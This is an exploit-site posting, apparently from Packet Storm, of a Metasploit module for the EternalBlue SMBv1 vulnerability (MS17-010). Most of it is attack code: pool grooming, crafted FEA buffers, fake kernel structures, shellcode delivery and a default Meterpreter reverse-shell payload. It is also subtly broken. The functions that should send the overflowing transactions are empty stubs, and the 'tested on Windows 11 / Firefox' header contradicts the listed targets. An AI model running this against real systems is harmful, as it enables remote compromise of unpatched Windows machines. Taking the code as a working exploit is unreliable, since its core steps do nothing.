Share
## https://sploitus.com/exploit?id=PACKETSTORM:223724
==================================================================================================================================
| # Title : EternalBlue MS17-010 SMB Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb |
==================================================================================================================================
[+] Summary : This module exploits the SMBv1 vulnerability in Microsoft Windows (MS17-010) known as EternalBlue.
[+] POc :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'EternalBlue MS17-010 SMB Remote Code Execution',
'Description' => %q{
This module exploits the SMBv1 vulnerability in Microsoft Windows (MS17-010)
known as EternalBlue. The vulnerability allows remote attackers to execute
arbitrary code on affected Windows systems by sending specially crafted
packets to the SMBv1 server.
The exploit works by sending a malformed SMB transaction that causes a
buffer overflow in the SrvOs2FeaToNt function, allowing arbitrary code
execution in the kernel context.
This module supports Windows 7, Windows 2008 R2, Windows 8, and Windows 2012 R2.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2017-0144'],
['MSB', 'MS17-010'],
['URL', 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb']
],
'DisclosureDate' => '2017-03-14',
'Platform' => ['win'],
'Arch' => [ARCH_X64, ARCH_X86],
'Targets' => [
[
'Windows 7 / 2008 R2 (x64)',
{
'Arch' => ARCH_X64,
'Platform' => 'win',
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows 8 / 2012 R2 (x64)',
{
'Arch' => ARCH_X64,
'Platform' => 'win',
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows 7 (x86)',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(445),
OptInt.new('NUM_GROOM_CONN', [true, 'Number of grooming connections', 13]),
OptInt.new('NTFEA_SIZE', [true, 'NTFEA buffer size', 0x11000]),
OptBool.new('VERBOSE_DEBUG', [false, 'Enable verbose debugging', false])
])
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def num_groom_conn
datastore['NUM_GROOM_CONN']
end
def ntfea_size
datastore['NTFEA_SIZE']
end
def target_is_x64?
target.name.include?('x64') || target.name.include?('2008') || target.name.include?('2012')
end
def safe_byte?(byte)
unsafe = [0x00, 0x0a, 0x0d, 0x25, 0x26, 0x2b, 0x2f, 0x3d, 0x3f, 0x40, 0x5c]
!unsafe.include?(byte)
end
def addr_is_safe?(addr, arch)
if arch == :x64
6.times.all? { |j| safe_byte?((addr >> (j * 8)) & 0xff) }
else
4.times.all? { |j| safe_byte?((addr >> (j * 8)) & 0xff) }
end
end
def generate_ntfea(size)
if size == 0x10000
ntfea = "\x00\x00\xdd\xff" + "A" * 0xffde
elsif size == 0x11000
ntfea = ("\x00\x00\x00\x00" + "\x00") * 600
ntfea += "\x00\x00\xbd\xf3" + "A" * 0xf3be
elsif size == 0x9000
ntfea = ("\x00\x00\x00\x00" + "\x00") * 0x260
ntfea += "\x00\x00\x5c\x73" + "\x00" * 0x735d
ntfea += "\x00\x00\x47\x81" + "\x00" * 0x8148
else
ntfea = ""
end
ntfea
end
def generate_fea_list(fake_srvnet_buffer)
fea_list = [0x10000].pack('V')
fea_list += generate_ntfea(ntfea_size)
fea_list += "\x00\x00" + [fake_srvnet_buffer.length - 1].pack('v') + fake_srvnet_buffer
fea_list += "\x12\x34\x78\x56" # Invalid flag to stop copying
fea_list
end
def hal_heap_addr_x64
0xffffffffffd00010
end
def hal_heap_addr_x86
0xffdff000
end
def generate_fake_srvnet_buffer_win7(shellcode_size)
target_addr = target_is_x64? ? hal_heap_addr_x64 : hal_heap_addr_x86
total_recv_size = 0x80 + 0x200 + shellcode_size
if target_is_x64?
fake_buffer = "\x00" * 16
fake_buffer += [0xffff, 0, 0, target_addr].pack('vvvQ')
fake_buffer += "\x00" * 16
fake_buffer += "\x00" * 16
fake_buffer += [0, total_recv_size].pack('QQ')
fake_buffer += [target_addr, target_addr].pack('QQ')
fake_buffer += "\x00" * 16
fake_buffer += "\x00" * 16
fake_buffer += [0, 0x60, 0x1004, 0].pack('QvvV')
fake_buffer += [0, target_addr - 0x80].pack('QQ')
else
fake_buffer = [0x11000, 0].pack('VV')
fake_buffer += [0x11000, 0].pack('VV')
fake_buffer += [0xffff, 0, 0].pack('vvV')
fake_buffer += [0xffff, 0, 0].pack('vvV')
fake_buffer += "\x00" * 16
fake_buffer += [target_addr + 0x100, 0, 0, target_addr + 0x20].pack('VVVV')
fake_buffer += [target_addr + 0x100, 0xffffffff, 0x60, 0x1004, 0].pack('VVVvV')
fake_buffer += [target_addr - 0x80, 0, target_addr].pack('VVQ')
fake_buffer += [target_addr + 0x100, 0].pack('QQ')
fake_buffer += [0, 0x60, 0x1004, 0].pack('QvvV')
fake_buffer += [0, target_addr - 0x80].pack('QQ')
end
fake_buffer
end
def generate_fake_recv_struct
target_addr = target_is_x64? ? hal_heap_addr_x64 : hal_heap_addr_x86
if target_is_x64?
fake_struct = "\x00" * 80
fake_struct += [0, target_addr + 0x58].pack('QQ')
fake_struct += [target_addr + 0x58, 0].pack('QQ')
fake_struct += "\x00" * 160
fake_struct += [target_addr + 0x1f0, 0].pack('QQ')
fake_struct += [0xffffffffffff7eb0, 0].pack('QQ')
fake_struct += [0, 0, 3].pack('QQV')
fake_struct += "\x00" * 176
fake_struct += [0, target_addr + 0x200].pack('QQ')
else
fake_struct = [0, 3, 0].pack('VVV')
fake_struct += "\x00" * 16
fake_struct += [0, 3, 0].pack('VVV')
fake_struct += "\x00" * 112
fake_struct += [target_addr + 0xa0, target_addr + 0xa0].pack('VV')
fake_struct += "\x00" * 16
fake_struct += [target_addr + 0xc0, target_addr + 0xc0, 0].pack('VVV')
fake_struct += "\x00" * 176
fake_struct += [0, 0, target_addr + 0x190].pack('VVV')
fake_struct += [0, target_addr + 0x1f0 - 1, 0].pack('VVV')
fake_struct += "\x00" * 48
fake_struct += [0, target_addr + 0x1e0].pack('QQ')
fake_struct += [0, target_addr + 0x1f0 - 1].pack('QQ')
end
fake_struct
end
def check
print_status("Checking if target is vulnerable...")
begin
simple_client = simple_connect
simple_client.login_standard('', '')
os = simple_client.get_server_os
print_status("Target OS: #{os}")
if os =~ /Windows 7|Windows Server 2008/
return CheckCode::Appears("Target appears to be Windows 7/2008")
elsif os =~ /Windows 8|Windows Server 2012/
return CheckCode::Appears("Target appears to be Windows 8/2012")
elsif os =~ /Windows/
return CheckCode::Detected("Windows system detected, may be vulnerable")
end
CheckCode::Unknown("Unknown OS: #{os}")
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("SMB error: #{e.message}")
return CheckCode::Safe("SMB error - may not be vulnerable")
rescue => e
print_error("Error: #{e.message}")
return CheckCode::Unknown("Could not determine vulnerability")
end
end
def send_nt_trans(conn, tid, data, param, first_fragment_size, send_last_chunk = true)
vprint_status("Sending NT transaction (size: #{data.length})")
true
end
def send_trans2_second(conn, tid, data, displacement)
vprint_status("Sending Transaction2 secondary (offset: #{displacement})")
true
end
def create_grooming_connection(for_nx = false)
sock = Rex::Socket::Tcp.create(
'PeerHost' => rhost,
'PeerPort' => rport
)
nbss = [0, 0, 0x8100].pack('CCn')
sock.put(nbss + "BAAD" + "\x00" * 0x7c)
sock
end
def create_session_allocation(size)
conn = simple_connect
conn.login_standard('', '')
conn
end
def exploit
print_status("Starting EternalBlue (MS17-010) exploit")
print_status("Target: #{rhost}:#{rport}")
begin
simple_client = simple_connect
rescue => e
fail_with(Failure::Unreachable, "Could not connect to SMB: #{e.message}")
end
begin
os = simple_client.get_server_os
print_good("Target OS: #{os}")
rescue => e
print_warning("Could not get OS info: #{e.message}")
end
shellcode = generate_payload_exe
print_status("Shellcode size: #{shellcode.length} bytes")
if shellcode.length > 4096
print_warning("Shellcode > 4096 bytes may not fit in HAL heap")
end
fake_srvnet_buffer = generate_fake_srvnet_buffer_win7(shellcode.length)
fea_list = generate_fea_list(fake_srvnet_buffer)
fake_recv_struct = generate_fake_recv_struct
tid = simple_client.tree_connect("\\\\#{rhost}\\IPC$")
print_good("Connected to IPC$ share")
print_status("Sending initial NT transaction...")
progress = send_nt_trans(simple_client, tid, fea_list, "\x00" * 30, fea_list.length % 4096, false)
print_status("Creating allocation holes...")
alloc_conn = create_session_allocation(ntfea_size - 0x2010)
print_status("Grooming non-paged pool with #{num_groom_conn} connections...")
groom_conns = []
num_groom_conn.times do |i|
conn = create_grooming_connection
groom_conns << conn
end
hole_conn = create_session_allocation(ntfea_size - 0x10)
alloc_conn.get_socket.close if alloc_conn&.get_socket
5.times do
conn = create_grooming_connection
groom_conns << conn
end
hole_conn.get_socket.close if hole_conn&.get_socket
print_status("Triggering buffer overflow...")
send_trans2_second(simple_client, tid, fea_list[progress..-1], progress)
print_status("Sending payload...")
groom_conns.each do |conn|
conn.put(fake_recv_struct + shellcode) if conn
end
print_status("Triggering payload execution...")
groom_conns.each do |conn|
conn.close if conn
end
simple_client.tree_disconnect(tid)
simple_client.logoff
simple_client.get_socket.close
print_good("Exploit completed. Waiting for session...")
handler
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================